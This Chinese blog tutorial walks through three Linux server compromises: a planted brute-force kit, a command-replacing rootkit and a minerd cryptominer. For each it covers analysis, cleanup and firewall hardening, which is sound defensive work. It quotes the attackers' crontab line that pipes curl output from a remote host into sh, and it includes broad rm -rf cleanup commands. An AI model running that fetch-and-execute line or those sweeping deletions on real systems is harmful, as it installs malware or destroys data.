线上Linux服务器被植入各种病毒的详细分析、处理、加固流程
Linux的进程管理与监控和任务工具crontab的使用-CSDN博客
https://coffeemilk.blog.csdn.net/article/details/149882125Linux服务器常见的攻击类型及其对应的防御策略和被攻击后的处理思路-CSDN博客文章浏览阅读5次。本文主要是关于【服务器常见的攻击类型和防御策略说明】【DDOS攻击的防御策略】【Linux服务器遭受攻击后的处理思路】【服务器被攻击后如何分析溯源】的思路分析及其可实践的方法指导,让我们的服务器更加安全有保障
https://blog.csdn.net/xiaochenXIHUA/article/details/150221129
前言:在我们的服务器对外提供服务时,一定要有安全意识,做好相应的安全防护(如:防火墙不开放的内容坚决不开放;避免弱密码或无密码服务或用户提供)。
一、 案例1分析与处理——被病毒植入导致CPU满载卡顿
线上运行Oracle数据库的Linux服务器被植入病毒的分析处理流程
1.1、案例1现象
服务器的CPU使用率长时间满载(达100%),系统运行卡顿;影响现有业务的正常运行。
1.2、系统状态分析
1.2.1、查看系统实时运行状态
使用【top】命令查看系统的实时运行状态(同时按下数字1可以查看到CPU的所有核心数);
通过查看系统的实时运行状态可以清晰的了解到:
《1》该系统当前在1分钟、5分钟、15分钟的负载都高于CPU核心数4,达到8,说明系统长时间处于高负载情况;
《2》观察4个CPU的核心使用率基本都是100%us,说明该系统当前是用户进程导致CPU高负载使用;
《3》物理内存总容量时16g,目前使用到的物理内存将近14g,说明内存还够使用(而swap交换内存没有使用);
《4》查看前10个进程,发现最开始的2个名为systemd的进程使用CPU超级高,已经超过100%的使用率(而systemd是Centos7及其更高版本系统启动后的第一个进程,是所有进程的父进程,其对应的PID应该是1,且该进程的所属用户是root);但是这里systemd进程的PID不是1且所属用户是oracle这就说明这两个进程是伪装成系统进程的。而PID为1的进程是init(centos6及其低版本)才是真正的系统进程。
1.2.2、查看系统当前运行的所有进程
使用【ps -ef】命令查看系统当前运行的所有进程信息
通过查看看系统当前运行的所有进程信息可以发现3个可疑的内容(存在两个名为sh的进程使用oracle用户运行,正常来说oracle用户不会运行shell内容;还有就是/oracle/pty这个文件也可疑【正常oracle路径下是没有这个名称的文件】),详细如下图所示:
1.2.3、查询可疑进程的加载内容
使用【lsof -p 19469】命令查看该可疑进程加载的内容有哪些、存在什么异常,通过观察可以看到:
《1》该可疑进程调用了crontab定时任务(调用定时任务做什么?);
《2》该可疑进程还在监听63008端口(监听这个端口做什么?);
《3》该可疑进程还调用了uname命令(查看系统内核和架构内容做什么?);
《4》该可疑进程指向185.61.148.253地址,这个IP地址是哪里的?做什么?;
《1》通过进入cron目录【cd /var/spool/cron/】查看【ls】oracle用户的定时任务可以发现2个很可疑的定时任务(这些任务都在/home/oracle目录下)且每分钟都在执行;然后我们进入oracle目录下【cd /home/oracle】查看该目录下的所有内容【ls -al】,重点查看【可读可写可执行】的文件、文件夹,可以发现其中【2.6.jpg】、【bomba】、【pty】这三个内容很可疑,我们可以先进入bomba目录下查看有些什么内容,可以看到该文件夹下的内容都具备执行权限,且我们打开这些文件中的一个如passfile文件查看可以看到该文件里面包含各种用户名称和密码内容,此时我们可以初步判断这个文件是黑客用来进行暴力破解的字典内容。
《2》使用【lsof -i :63008】命令查看本机的63008端口的连接和状态信息(
①可以看到一个名为pty的命令,且其对应的进程号是2625,我们在根据其进程号查询一下是对应哪个内容【/oracle/pty】文件;然后我们进入该目录下查看是否存在异常文件或目录(可以看到没有异常内容)。
②可以使用【find /* -name systemd】命令查看当前系统根目录下的所有文件中是否存在一个名为systemd的文件;但一般来说黑客攻击运行这个systemd的命令后会把该文件删除,大概率查找不到):
《3》一般来说只有程序需要根据系统内核和架构来选择对应的版本才会使用到(我们在服务器安装的程序一般是不用获取的);
《4》使用IP地址查询查询到IP地址的归属地,可以看到这个185.61.148.253的地址不在国内是国外的,这就基本可以断定这是黑客用来接收数据的服务器地址了。
最后我们还要查看一下系统中常见的【可读、可写、可执行】的目录下查看是否有异常文件:
#Linux系统中常见的可读可写可执行目录
/tmp
/var/tmp
1.2.4、查看指定用户下的历史记录命令
1-进入可疑进程用户目录【cd /home/oracle】下查看该目录下的历史记录命令文件【more .bash_history】内容:
通过以上的内容分析,我们大致可以分析出来,是由于这台Linux服务器上的oracle用户设置了弱密码,使得黑客通过这个oracle用户使用ssh登录到系统中,登录到该Linux系统后就下载了暴力破解的压缩包bomba.zip到系统中,将这台服务器作为肉鸡对其他服务器进行爆破,将其他服务器爆破后又以相同的方式爆破另外的服务器。
1.3、分析完成后的处理
1-将/home/oracle用户下的所有可疑文件删除
2-切换到这个oracle用户下,将该用户下的定时任务内的可疑内容都删除
3-将系统中常见的可读写可执行目录下的可疑隐藏内容删除
检查【/tmp】【/var/tmp】目录是的可疑文件并删除
4-将系统中伪装为系统进程的systemd进程强制杀死并观察是否还会重启
5-检查我们排查的所有目录【/home/oracle】【/oracle】【/tmp】【/var/tmp】下是否还会再次下载刚才删除可疑内容。
6-强制杀死该可疑程序启动的63008进程
1.4、系统加固
1-将oracle用户的弱密码修改为强密码(大小写字母和数字特殊符号混合,且位数大于等于8位);同时检查是否有其他用户存在弱密码情况并修正加固;
2-对防火墙进行加固(通过查看当前防火墙的filter表内容可以看到目前是全部接受的,防火墙是全开放的状态,十分不安全),我们可以将如下的防火墙加固命令写到一个名为iptables.sh的文件中,然后再使用【sh iptables.sh】命令执行生效
Linux的软件防火墙iptables-CSDN博客文章浏览阅读93次。本文主要是关于【Linux防火墙iptables的介绍和组成】【防火墙的执行流程和规则设置实操、说明】最后列出了生产环境下常用的命令清单并做详细说明,方便大家快速上手解决问题。https://blog.csdn.net/xiaochenXIHUA/article/details/150069372
iptables -F
iptables -X
iptables -Ziptables -A INPUT -p tcp -m tcp --dport 80 -j ACCEPT
iptables -A INPUT -s 192.168.1.2/32 -p tcp -m tcp --dport 22 -j ACCEPT
iptables -A INPUT -i lo -j ACCEPT
iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
iptables -A INPUT -p tcp -m tcp --tcp-flags FIN,SYN,RST,PSH,ACK,URG NONE -j DROP
iptables -A INPUT -p tcp -m tcp --tcp-flags FIN,SYN FIN,SYN -j DROP
iptables -A INPUT -p tcp -m tcp --tcp-flags SYN,RST SYN,RST -j DROP
iptables -A INPUT -p tcp -m tcp --tcp-flags FIN,RST FIN,RST -j DROP
iptables -A INPUT -p tcp -m tcp --tcp-flags FIN,ACK FIN -j DROP
iptables -A INPUT -p tcp -m tcp --tcp-flags PSH,ACK PSH -j DROP
iptables -A INPUT -p tcp -m tcp --tcp-flags ACK,URG URG -j DROPiptables -P INPUT DROP
iptables -P OUTPUT ACCEPT
iptables -P FORWARD DROP
二、案例2分析与处理——被rootkit植入导致带宽打满
2.1、案例现象
服务器托管在机房,机房告知客户说因为服务器有异常流量,网络带宽占用很大(500M左右),但客户的是一个oracle数据库服务器,都是内网数据交互,根本没有外网流量,所以外网流量很大肯定是不正常。
2.2、系统状态分析
2.2.1、系统实时运行状态分析
在服务器上使用【top】命令查看系统的实时运行情况(可以看到系统整体的负载与CPU、内存的使用都是正常的),只是线程中名为apgffcztwi的进程较为可疑,它占用率100%的CPU使用率,它的PID是10239:
2.2.2、查看可疑进程加载的内容
可以通过使用【进入内存目录查看对应PID目录下exe文件的信息获取到该PID所在文件】也可以使用【lsof -p PID】查看进程所在的文件,可以看到这个可疑进程10239的文件是在【/usr/bin】目录下;我们可以进入【/usr/bin】目录下查看该目录下的所有内容【ls -al】或是直接过滤以ap开头的内容【ll ap*】:
①除了看到这个可疑的apgffcztwi文件外,还有隐藏的.sshd文件(正常来说在/usr/bin目录下是没有这个.sshd文件的,该文件也是可疑的);
②还有一个可疑的文件夹dpkgd;
(/usr/bin/dpkgd/ps -ef这个进程很明显是个变种的病毒,因为我们指定ps命令肯定不会存在/usr/bin/dpkgd目录下,既然说到/usr/bin/dpkgd目录,那么就到这个目录下去看个究竟【该目录下又发现一些隐藏的病毒文件了,比如lsof ps netstat ss,这些都是变种病毒文件,主要用来替换系统中的一些命令,当看到netstat这个命令时,基本明白了这个病毒的意图了,它无非就是发流量包,造成网络瘫痪,病毒替换了系统原有的包,换成自身经过改写的命令包,这样,既隐藏了自己的行为,又不会对服务器造成太大影响,但是它的真正目的就是用咱们的机器做肉鸡】)
2.2.3、使用dmesg命令查看内核信息
【nf_conntrack】是iptables里面的连接跟踪模块,它通过哈希表记录已建立的连接,包括其他机器到本机、本机到其他机器、本机到本机的连接,出现dropping packet,就是由于服务器访问量大,内核netfilter模块conntrack相关参数配置不合理,导致新连接被drop掉。
#查看查看nf_conntrack_max在系统设置的默认大小【一般是65536】
cat /proc/sys/net/netfilter/nf_conntrack_max
2.3、分析完成后的处理
2.3.1、清除病毒文件
#1-先删除/usr/bin/.sshd病毒文件
rm -rf /usr/bin/.sshd#2-关闭此.sshd病毒文件的所有进行
ps -ef | grep "/usr/bin/.sshd" | grep -v "grep" | awk '{print $2}' | xargs kill -9#3-删除/usr/bin/dpkgd目录下所有的变种病毒文件,同时删除/usr/bin/apgffcztwi文件(可写脚本批量删除)
rm -rf /usr/bin/dpkgd
rm -f /usr/bin/apgffcztwi
【/usr/bin/dpkgd】目录删除后,但命令(ps netstat lsof ss)在系统中这些命令就不能使用,却可以通过yum重新安装这些命令:
#重新安装ps命令
yum -y reinstall procps#重新安装netstat命令
yum -y reinstall net-tools#重新安装lsof命令
yum -y reinstall lsof#重新安装ss命令
yum -y reinstall iproute
2.3.2、病毒文件再次生成排查
#再次查看刚才的病毒文件所在路径/usr/bin的进程信息
lsof -R | grep "/usr/bin"
查看后发现会生成另外名称的病毒文件(共有十个随机字符):
考虑到会自动产生病毒文件,感觉应该是linux下的crontab完成的工作,那么是不是病毒在crontab里面做了手脚,我们去排查一下【切换到系统的/var/log/cron目录下(此目录记录了linux下所有用户的计划任务信息,以crontab -u -e方式写入的计划任务都会在此目录下生成文件),没看到任何文件,看来不是用户级别的crontab在作怪,那么再看看系统级别的crontab,是/etc/crontab文件】查看【/etc/crontab】文件可以看到该计划任务里面启用了一个没三分钟执行一次的文件【/etc/cron.hourly/kill.sh】。
查看这个文件脚本发现该文件会自动重启网卡,然后执行一个cp操作,将/lib/libkill.so文件复制一个/lib/libkill.so.6文件,然后执行这个文件。这个文件是个二进制的文件,无法查看内容,猜想应该就是自动生成那个十个字符文件的病原体。这里看到的病原体名称是libkill.so,它的名称不是固定的,常见的还有类似libudev.so、/lib/udev/udev等类似名称,但是作用应该都是一样的。
2.3.3、病毒执行原理
大概理了一下思路,这个病毒执行的原理应该是这样的:
【libkill.so】是所有进程的病原体,通过kill.sh脚本每隔3分钟自动检测一次,如果发现病毒程序不存在了,就从病原体复制一份儿到/lib/libkill.so.6,病毒副本/lib/libkill.so.6执行后,就会生成一个随机命名(10个字符)的程序,放到/usr/bin/、/boot,/etc/init.d等目录下。 同时还修改了自启动配置chkconfig –add xxx,修改自启动项/etc/rc.local等,让病毒程序开机自动运行。
2.3.4、彻底清除病毒
清除病毒也是需要技巧的,如果直接删除kill.sh文件,你会发现,这个文件又自动生成了,这就是病毒程序在起作用。那么怎么彻底清除呢?
#1-可通过top或者lsof命令可以获取那个自动启动的病毒进程的pid为17161,然后执行如下操作:
kill -STOP 17161#2-先锁定crontab文件,不让任何进程写入数据(现在就可以安静的删除之前的那些病毒文件了)
chattr +i /etc/crontab#3-先删除这个kill.sh文件,让它不再定期执行
rm –rf /etc/cron.hourly/kill.sh#4-删除病原体文件
rm -rf /lib/libkill.so.6
rm -rf /lib/libkill.so#5-清理现场,关闭一直处于停止状态的那个pid为17161的病毒进程(现在就可以直接执行kill -9的操作了,因为病原体已经被删除,定时任务文件也被锁定,定时执行的脚本也被删除,所以这个病毒再无回天之力了)
kill -9 17161
注意,这里-STOP选项的含义,不是关闭这个进程,而是停止这个进程。进程停止执行后,进程仍然存在,这样就绕过了病毒进程就监测。计划任务文件锁定后就可以安静的删除之前的那些病毒文件了。
序号 | 检查此类植入木马各种可疑的文件 |
1-检查是否有下面路径文件 | |
1 | cat /etc/rc.d/init.d/selinux |
2 | cat /etc/rc.d/init.d/DbSecuritySpt |
3 | ls /usr/bin/bsd-port |
4 | ls /usr/bin/bsd-port |
2-检查下面文件大小是否正常,可以和正常机器中的文件都计算MD5值后做比对 | |
1 | ls -lh /bin/netstat |
2 | ls -lh /bin/ps |
3 | ls -lh /usr/sbin/lsof |
4 | ls -lh /usr/sbin/ss |
如果发现有上面可疑文件,需要全部删除。 |
#可删除的文件或目录如下:rm -rf /usr/bin/dpkgd (ps netstat lsof ss) #这是加壳命令目录
rm -rf /usr/bin/bsd-port #这是木马程序
rm -f /usr/bin/.sshd #这是木马后门
rm -f /tmp/gates.lod
rm -f /tmp/moni.lod
rm -f /etc/rc.d/init.d/DbSecuritySpt #这是启动上述描述的那些木马后的变种程序
rm -f /etc/rc.d/rc1.d/S97DbSecuritySpt #删除自启动
rm -f /etc/rc.d/rc2.d/S97DbSecuritySpt
rm -f /etc/rc.d/rc3.d/S97DbSecuritySpt
rm -f /etc/rc.d/rc4.d/S97DbSecuritySpt
rm -f /etc/rc.d/rc5.d/S97DbSecuritySpt
rm -f /etc/rc.d/init.d/selinux #这个selinux是个假象,其实启动的是/usr/bin/bsd-port/getty程序
rm -f /etc/rc.d/rc1.d/S99selinux #删除自启动
rm -f /etc/rc.d/rc2.d/S99selinux
rm -f /etc/rc.d/rc3.d/S99selinux
rm -f /etc/rc.d/rc4.d/S99selinux
rm -f /etc/rc.d/rc5.d/S99selinux
2.3.5、分析原因与总结
这个案例是个典型的文件级别rootkit植入系统导致的,最后检查植入的原因是:
①由于这台oracle服务器有外网IP;
②并且没有设置任何防火墙策略;
③同时,服务器上有个oracle用户,密码和用户名一样;
这样一来,黑客通过服务器暴露在外网的22端口,然后通过暴力破解,通过这个oracle用户登录到了系统上,进而植入了这个rootkit病毒。
2.3.6、系统加固
①设置必要的防火墙策略和安全策略,只让有需求的设备可以连接上和只开放必要的端口;
②修改用户的弱密码为强密码,并定期更换;
三、案例3分析与处理——挖矿病毒
3.1、案例现象
客户的一个电商平台,服务器运行在阿里云,网站上的秒杀功能突然无法使用(秒杀功能一开始可以正常使用,在下午6点以后突然不正常,前台提交请求后,一直无响应,最终超时)。
3.2、系统状态分析
3.2.1、系统实时运行状态分析
使用【top】命令查看系统的实时运行状态(同时按下数字1可以查看到CPU的所有核心数)查看系统当前的实时运行情况,分析可以进程(可以看到名为【minerd】的进程较为可疑,它使用的CPU的比例已经超过100%,且咨询客户客户自己也不知道这个程序是做什么,客户可以肯定不是他们自己的程序):
3.2.2、追查该可疑进程
根据进程ID查询一下产生进程的程序路径,可以执行【ls -al /proc/$PID/exe】就能获知pid对应的可执行文件路径,其中$PID为查询到的进程ID。
#1-查询该可疑进程内容(该可疑进程PID是16717)
ls -al /proc/16717/exe
#执行这个命令后可以查看到可疑进程信息如下:
#lrwxrwxrwx 1 root root 0 Apr 25 13:59 /proc/16717/exe -> /var/tmp/minerd#先删除这个可疑进程的文件
rm -rf /var/tmp/minerd#强制杀死这个可疑进程
kill -9 16717
我们将这个名为minerd的名称输入到网络上查找可以发现这是一个挖矿病毒;Minerd挖矿进程,所谓”挖矿”实质上是用计算机解决一项复杂的数学问题,是用于赚取比特币的一个程序,挖矿是消耗计算资源来处理交易,确保网络安全以及保持网络中每个人的信息同步的过程。可以理解为是比特币的数据中心,区别在于其完全是去中心化的设计,矿工在世界各国进行操作,没有人可以对网络具有控制权。这个过程因为同淘金类似而被称为“挖矿”。
3.2.3、病毒再次生成运行排查
进程被关闭后过了一会,又自动启动运行了;由此联想到了Linux的定时任务crontab,于是查看 /var/spool/cron目录,查询一下系统中是否有异常的用户计划任务脚本程序。
#1-查看系统的定时任务目录下所有用户
ll /var/spool/cron/
#该命令执行后的内容如下:
#total 4
#drwxr-xr-x 2 root root 6 Oct 18 19:01 crontabs
#-rw------- 1 root root 80 Oct 18 19:04 root#2-查看定时任务目录下对应的所有任务内容
cat /var/spool/cron/root
#该定时任务的内容如下:
#*/5 18-23,0-7 * * * curl -fsSL https://r.chanstring.com/api/report?pm=0988 | shcat /var/spool/cron/crontabs/root
#该定时任务的内容如下:
#*/5 18-23,0-7 * * * curl -fsSL https://r.chanstring.com/api/report?pm=0988 | sh
我们从定时任务的内容里面可以清晰的查看到是在(每天18-23到凌晨0-7点每隔5分钟执行一次)从【https://r.chanstring.com/api/report?pm=0988】网址执行sh命令,我们登录到这个网址查看该命令内容(该网址对应的内容大致思路就是将自己的公钥内容下载到服务器中,并修改系统的配置可通过密钥登录)
3.2.4、分析该挖矿程序的植入来源
#查看该系统所有开放的网络端口情况
netstat -antlp
可以查看到redis与mysql数据库对任意主机开放了端口,同时该系统还有对外的公网ip,也就是说改系统可以让网络上的任意主机都扫描到该系统的这些开放端口(80、6380、3306、8080、8009)其中特别是数据库开放的6380、3306特别危险,一般来说系统的数据库端口都是内部使用不对外开放的;我们检查一下防火墙的策略是否做了对应的限制:
#查看防火墙的规则
iptables -nL
通过查看防火墙的规则可以看到这个redis的6380端口是全开放的,可以让任意主机访问;现在可以基本判断是通过这个6380端口作为突破口植入的病毒。
3.2.5、分析病毒植入的整体思路
1-黑客通过扫描软件扫到了服务器的6380,发现redis的这个端口开放,并无密码可登录。
2-在系统上植入了挖矿程序,并且通过crontab定期检查挖矿程序。
3-挖矿程序的启动时间在每天下午18点,一直到第二天早上7点钟。
4-挖矿程序启动后占用大量CPU资源,导致秒杀系统无资源可用。
3.2.6、彻底清除病毒和修复
#1-删除计划任务脚本中的异常配置
rm -rf /var/spool/cron/#2-删除黑客创建的密钥认证文件
rm -rf ~用户名/.ssh/#3-修复sshd配置文件
vi /etc/ssh/sshd_config#4-删除分析到的所有可疑文件
rm -f /etc/init.d/lady
rm -f /var/tmp/minerd#5-通过top命令查看到挖矿程序的PID,然后根据PID找到可执行文件路径后强制删除后再强制杀死该PID#6-从【/etc/rc.local】【/etc/init.d】目录下检查是否有开机自启的挖矿程序,若有直接删除#7-删除防火墙开放的6380端口规则
iptables -D INPUT -p tcp -m tcp --dport 6380 -j ACCEPT#8-修改默认redis端口,且给redis设置密码验证
3.3、系统加固防御
可在Linux中安装如下内容作为防御和加固
rkhunter - ArchWikihttps://wiki.archlinux.org/title/RkhunterClamAVNet
https://www.clamav.net/